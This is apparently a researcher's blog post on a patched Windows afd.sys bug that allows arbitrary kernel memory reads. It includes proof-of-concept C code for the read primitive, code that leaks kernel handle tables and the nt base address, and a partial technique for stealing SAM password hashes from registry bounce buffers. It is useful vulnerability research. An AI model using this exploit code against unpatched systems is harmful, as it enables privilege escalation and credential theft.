Introduction
I recently discovered a very interesting kernel vulnerability that allows the reading of arbitrary kernel-mode address. Sadly, the vulnerability was patched in Windows 21H2 (OS Build 22000.675), and I am unsure of the CVE being assigned to it. In this short blog post, I will share my journey of trying to exploit this vulnerability. Although I didn’t finish the exploit in the end, I have decided to share this with everyone anyway. This is also my attempt to find an answer based on this discussion.
The Vulnerability
Getting arbitrary address read primitive
The vulnerability is inside Windows’s Ancillary Function Driver for Windows (afd.sys
). This driver exposes the functionalities from tcpip.sys
to user-mode via DeviceIoControl
call. The following call stack will show what happens when a UDP socket is created.
0: kd> k
# Child-SP RetAddr Call Site
00 ffff8388`55f44238 fffff805`10a1a4b8 tcpip!UdpCreateEndpoint
01 ffff8388`55f44240 fffff805`11bc89a7 tcpip!UdpTlProviderEndpoint+0x38
02 ffff8388`55f44290 fffff805`11c21d88 afd!AfdTLCreateEndpoint+0x93
03 ffff8388`55f44310 fffff805`11bc8169 afd!AfdCreate+0x2f0
04 ffff8388`55f44430 fffff805`0b6f68d5 afd!AfdDispatch+0x59
05 ffff8388`55f44470 fffff805`0bb09557 nt!IofCallDriver+0x55
06 ffff8388`55f444b0 fffff805`0bb6a922 nt!IopParseDevice+0x897
07 ffff8388`55f44670 fffff805`0bb69d91 nt!ObpLookupObjectName+0x652
08 ffff8388`55f44810 fffff805`0bbd029f nt!ObOpenObjectByNameEx+0x1f1
09 ffff8388`55f44940 fffff805`0bbcfe79 nt!IopCreateFile+0x40f
0a ffff8388`55f449e0 fffff805`0b829078 nt!NtCreateFile+0x79
0b ffff8388`55f44a70 00007ffa`5a904954 nt!KiSystemServiceCopyEnd+0x28
0c 000000a3`9932f358 00007ffa`572888d7 ntdll!NtCreateFile+0x14
0d 000000a3`9932f360 00007ffa`57288264 mswsock!SockSocket+0x567
0e 000000a3`9932f550 00007ffa`5a55c295 mswsock!WSPSocket+0x234
0f 000000a3`9932f650 00007ffa`5a5648b1 WS2_32!WSASocketW+0x175
*** WARNING: Unable to verify checksum for afd.exe
10 000000a3`9932f740 00007ff6`8167844f WS2_32!WSASocketA+0x61
On Windows, a socket handle is just a FILE_OBJECT
handle created by Afd.sys
. The vulnerability lies inside afd!AfdTliIoControl
.
Inside this function, a piece of code allocates a buffer and copies it into that buffer with a user-controlled address.
Request->Irp = Irp;
BufferSize = Request->Size;
if ( BufferSize )
{
v32 = ExAllocatePool2(0x61, BufferSize, 'idfA');
Request->Buffer = v32;
memmove(v32, Request->UserControlAddress, Request->Size);
}
There are no checks on Request->UserControlAddress
hence we can set it to an arbitrary address value. Microsoft patched this vulnerability by adding a check with the MmUserProbeAddress
value.
Exploitation
In order to exploit this vulnerability, I need to find out where Request->Buffer
is being used. Through debugging, I found out that this function will pass Request->Buffer
into other functions within tcpip.sys
depending on the socket type and other values inside our DeviceIoControl
’s input buffer. Putting IoControl
in IDA’s functions window gives me the following function names:
RawIoControlEndpoint
RawTlProviderIoControlEndpoint
TcpIoControlEndpoint
TcpIoControlListener
TcpIoControlTcb
TcpTlConnectionIoControlEndpoint
TcpTlEndpointIoControlEndpoint
TcpTlEndpointIoControlEndpointCalloutRoutine
TcpTlListenerIoControlEndpoint
TcpTlProviderIoControl
TlDefaultRequestIoControl_0
UdpIoControlEndpoint
UdpTlProviderIoControl
UdpTlProviderIoControlEndpoint
Skimming through all the different functions and branches, it seems that the contents for Request->Buffer
is well checked. When I was looking around, these functions caught my attention:
TcpGetSockOptEndpoint
TcpSetSockOptEndpoint
UdpGetSockOptEndpoint
UdpSetSockOptEndpoint
In POSIX, the socket API setsockopt
and getsockopt
have the following prototype:
int setsockopt(int socket, int level, int option_name, const void *option_value, socklen_t option_len);
int getsockopt(int sockfd, int level, int optname, void *restrict optval, socklen_t *restrict optlen);
These two functions can be used to get and set various options to a socket. The following is a stack trace for a setsockopt
call.
# Child-SP RetAddr Call Site
00 ffff8388`534457a8 fffff805`11bd37dc afd!AfdTliIoControl
01 ffff8388`534457b0 fffff805`0b6f68d5 afd!AfdDispatchDeviceControl+0x7c
02 ffff8388`534457e0 fffff805`0bb638f2 nt!IofCallDriver+0x55
03 ffff8388`53445820 fffff805`0bb636d2 nt!IopSynchronousServiceTail+0x1d2
04 ffff8388`534458d0 fffff805`0bb62a36 nt!IopXxxControlFile+0xc82
05 ffff8388`53445a00 fffff805`0b829078 nt!NtDeviceIoControlFile+0x56
06 ffff8388`53445a70 00007ffa`5a903f94 nt!KiSystemServiceCopyEnd+0x28
07 00000075`cc5ef678 00007ffa`57289479 ntdll!NtDeviceIoControlFile+0x14
08 00000075`cc5ef680 00007ffa`5a5618d9 mswsock!WSPSetSockOpt+0x2e9
I figured out that in setsockopt
the call Request->Buffer
contains option_value
. If we point Request->Buffer
to a kernel address, the value at that address will be treated as a socket option_value
and will be stored somewhere in kernel memory. After that, we can read that value back through getsockopt
call. After some debugging, I came up with the following POC, which can read arbitrary valid kernel memory.
DWORD read_dword(UINT64 addr) {
WSADATA wsd;
int status;
status = WSAStartup(MAKEWORD(2, 2), &wsd);
SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_REGISTERED_IO);
void* inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void* outbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t size = 0x40;
*(DWORD*)((char*)inbuffer + 4) = 0x11;
*(UINT64*)((char*)inbuffer + 8) = 2;
*(UINT64*)((char*)inbuffer + 16) = (UINT64)addr;
*(UINT64*)((char*)inbuffer + 24) = size;
*(char*)((char*)inbuffer + 12) = 1;
*(int*)inbuffer = 1;
DWORD n = 0;
status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, NULL, 0, &n, NULL);
*(int*)inbuffer = 2;
status = DeviceIoControl((HANDLE)s, 0x120BF, inbuffer, size, outbuffer, size, &n, NULL);
// printf("leak: %x\n", *(int*)outbuffer);
return *(DWORD*)outbuffer;
}
Trying to achieve LPE
We need to know a valid kernel address to read from kernel memory first. This vulnerability can be combined with other memory corruption vulnerabilities to achieve LPE, but on it’s own, it appears not to be very useful until I saw this discussion on Twitter where @jonasLyk mentioned that if someone can use their vulnerability to read C:\Windows\System32\config\SAM
from kernel memory, they might be able to achieve LPE. Later I also found out that if our process has medium integrity, we can call NtQuerySystemInformation
to read the kernel’s handle table. Inside the handle table, there are pointers to all processes’ objects.
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
Using ProcessHacker
, we can see a few handles are related to the SAM
file.
A Section
is a kernel object for memory-mapped file on Windows. My first thought is to locate the section object corresponding to the SAM file in kernel memory and see if it contains a pointer to the file content. Vergilius Project provides an interactive type of search which is very convenient. We can also use windbg
to view such type. A section object has type _SECTION
and ObjectTypeIndex
== 45.
2: kd> dt _SECTION
nt!_SECTION
+0x000 SectionNode : _RTL_BALANCED_NODE
+0x018 StartingVpn : Uint8B
+0x020 EndingVpn : Uint8B
+0x028 u1 : <unnamed-tag>
+0x030 SizeOfSection : Uint8B
+0x038 u : <unnamed-tag>
+0x03c InitialPageProtection : Pos 0, 12 Bits
+0x03c SessionId : Pos 12, 19 Bits
+0x03c NoValidationNeeded : Pos 31, 1 Bit
We can read the section name through _SECTION.u1.ControlArea.FilePointer->FileName
. FileName
has type EX_FAST_REF
which is just a normal pointer with RefCnt
embeded in its first 4 bit.
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};
The following code allows me to read a section file name from kernel memory:
void leak_section_name() {
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)64, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return;
}
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
SYSTEM_HANDLE SystemHandle = pHandleInfo->Handles[i];
HANDLE pid = SystemHandle.UniqueProcessId;
HANDLE HandleValue = SystemHandle.HandleValue;
USHORT ObjectTypeIndex = SystemHandle.ObjectTypeIndex;
PVOID Object = SystemHandle.Object;
UINT64 FilePointer = 0;
if (ObjectTypeIndex == 45 && pid == (HANDLE)4) {
UINT64 ControlArea = read_qword((UINT64)Object + 0x28);
P_DUMP(ControlArea);
FilePointer = read_qword((UINT64)ControlArea + 0x40) & (~0xf);
P_DUMP(FilePointer);
WCHAR *name = read_filename(FilePointer);
if (wcsstr(name, L"config\\SAM") != NULL) {
break;
}
}
}
}
The catch is that I could not find a pointer to the file content inside the Section
object.
Windows Internals, Part 1
A section can be opened by one process or by many. In other words, section objects don’t necessarily equate to shared memory. A section object can be connected to an open file on disk (called a mapped file) or to committed memory (to provide shared memory).
The Section object doesn’t contain a pointer to the file content. It contains prototype PTEs
, which contain PFN
to the physical memory page.
After some google searches, I found out that I’m not the first one trying to do this (obviously). This research points out that you can dump SAM
using the registry objects. I followed exactly the steps described in the paper. Things went smoothly until reality hits me. I realise that I can’t dereference the pointer which I got from the dumped process. It looks like a user-mode pointer. After further google searches, I found this detailed blog post, which explains the situation. PermanentBinAddress
, which was a kernel pointer, is now a user-mode pointer of the Registry
process. I’m not sure if this is a security patch or just some kind of optimisation. We can read the kernel memory but not another processes’ memory; hence this breaks our exploit.
Every time a process calls into NtQueryKeyValue
, the kernel switches its context to the Registry
process using CmpAttachToRegistryProcess
function. Then it copies the registry content into a temp buffer
. It then switches back and copies the contents from the temp buffer
into the requestor process. If the size of the registry content is larger than 0x40 temp buffer
will be allocated by CmpAllocateTransientPoolWithTag
function then push into CmpBounceBufferLookaside
(A LookAsideList
). Otherwise, temp buffer
will be on the kernel stack. This creates a small window where we can race with the kernel to read out the registry content. We can also cause lsass.exe
to read the SAM
registry by calling LogonUserA
.
void trigger_reg_read() {
HANDLE Token;
LogonUserA("bit", NULL, "dummypassword", LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &Token);
}
Our target is the HKLM\SAM\SAM\Domains\Account\Users\[userid]\f
, which contains the actual hash for users. This key-value data length is always larger than 0x40. Hence we can leak CmpBounceBufferLookaside
to find the chunk used to serve the request.
First, using the handle table, we can leak the base address of nt. I created a TCP FILE_OBJECT
then leak the FileObject->DeviceObject->DriverObject->IRP_HANDLERS
UINT64 get_nt_base() {
HANDLE hTargetHandle = CreateFileA("\\\\.\\Tcp", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
P_DUMP(hTargetHandle);
UINT64 FileObject = 0;
PSYSTEM_HANDLE_INFORMATION_EX HandleTable = get_hande_table();
for (int i = 0; i < HandleTable->HandleCount; i++) {
SYSTEM_HANDLE SystemHandle = HandleTable->Handles[i];
HANDLE pid = SystemHandle.UniqueProcessId;
if (pid == (HANDLE)GetCurrentProcessId()) {
HANDLE HandleValue = SystemHandle.HandleValue;
if (HandleValue == hTargetHandle) {
FileObject = (UINT64)SystemHandle.Object;
}
}
}
P_DUMP(FileObject);
UINT64 DeviceObject = read_qword(FileObject + 8);
UINT64 DriverObject = read_qword(DeviceObject + 8);
UINT64 IopInvalidDeviceRequest = read_qword(DriverObject + 0x78);
UINT64 NtBase = IopInvalidDeviceRequest - 0x233c40;
return NtBase;
}
From there, we can walk elements in CmpBounceBufferLookaside
after which we can trigger a registry read in lsass.exe
and read the contents out. If there are not many registry read operations on the system, we don’t even need to race at all. The value will remain as the first node inside CmpBounceBufferLookaside
.
What is missing ?
Getting the hash is not enough; the hash is encrypted using the SYSKEY
, which is in HKLM\SYSTEM\ControlSet001\Control\Lsa\Data
’s child keys. You can check this out for more details. lsass.exe
caches SYSKEY
in memory. I can’t find a way to trigger a read to these keys yet. Also, as the data length of these keys is less than 0x40
. Hence they are copied into the kernel stack instead of a buffer allocated from CmpBounceBufferLookaside
. Small registry read operation happens all the time. This might make it much harder to race with the kernel and read the data out.
References
- https://twitter.com/arudd1ck/status/1506330544166129666
- https://www.vergiliusproject.com/
- https://www.immunityinc.com/downloads/Kernel-Memory-Disclosure-and-Canvas_Part_1.pdf
- https://blahcat.github.io/posts/2021/01/10/browsing-the-registry-in-kernel-mode.html
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
- http://www.ijfcc.org/vol5/455-F005.pdf